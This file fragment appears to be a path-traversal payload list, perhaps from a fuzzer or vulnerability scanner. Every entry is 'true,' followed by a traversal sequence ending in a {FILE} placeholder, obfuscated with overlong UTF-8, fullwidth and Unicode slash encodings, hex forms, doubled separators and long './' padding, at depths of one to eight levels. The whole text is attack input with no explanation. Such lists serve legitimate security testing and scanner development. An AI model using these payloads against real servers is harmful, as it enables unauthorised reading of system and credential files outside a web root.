"true,..%u2215{FILE}",
"true,..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}",
"true,..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}",
"true,%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}",
"true,%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}",
"true,..%u2216{FILE}",
"true,..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}",
"true,..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}",
"true,..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}",
"true,..%uF025{FILE}",
"true,..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}",
"true,..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}",
"true,%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}",
"true,%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}",
"true,..0x2f{FILE}",
"true,..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}",
"true,..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}",
"true,0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}",
"true,0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}",
"true,..0x5c{FILE}",
"true,..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}",
"true,..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}",
"true,0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}",
"true,0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}",
"true,..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}",
"true,%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}",
"true,%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}",
"true,..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}",
"true,%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}",
"true,%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}",
"true,///%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,\\\\\\%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,..//{FILE}",
"true,..//..//{FILE}",
"true,..//..//..//{FILE}",
"true,..//..//..//..//{FILE}",
"true,..//..//..//..//..//{FILE}",
"true,..//..//..//..//..//..//{FILE}",
"true,..//..//..//..//..//..//..//{FILE}",
"true,..//..//..//..//..//..//..//..//{FILE}",
"true,..///{FILE}",
"true,..///..///{FILE}",
"true,..///..///..///{FILE}",
"true,..///..///..///..///{FILE}",
"true,..///..///..///..///..///{FILE}",
"true,..///..///..///..///..///..///{FILE}",
"true,..///..///..///..///..///..///..///{FILE}",
"true,..///..///..///..///..///..///..///..///{FILE}",
"true,..\\\\{FILE}",
"true,..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}",
"true,..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}",
"true,./\\/./{FILE}",
"true,./\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/././\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/././\\/././\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/././\\/././\\/././\\/././\\/./{FILE}",
"true,./\\/././\\/././\\/././\\/././\\/././\\/././\\/././\\/./{FILE}",
"true,.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}",
"true,././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\{FILE}",
